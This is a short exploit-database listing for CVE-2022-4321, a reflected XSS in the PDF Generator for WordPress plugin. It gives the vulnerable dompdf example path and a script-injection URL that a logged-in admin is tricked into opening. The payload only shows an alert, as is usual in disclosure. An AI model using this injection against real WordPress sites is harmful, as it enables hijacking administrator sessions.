Exploit for PDF Generator for WordPress < 1.1.2 - Reflected XSS CVE-2022-4321

Name: Exploit for PDF Generator for WordPress < 1.1.2 - Reflected XSS CVE-2022-4321
Rating: 5 (51 reviews)

2023-01-16 | CVSS 5.9

## https://sploitus.com/exploit?id=WPEX-ID:6AC1259C-86D9-428B-BA98-7F3D07910644
Make a logged in admin open the following URL:

https://example.com/wp-content/plugins/pdf-generator-for-wp/package/lib/dompdf/vendor/dompdf/dompdf/I18N/Arabic/Examples/Query.php?keyword="><script>alert(`xss`)</script>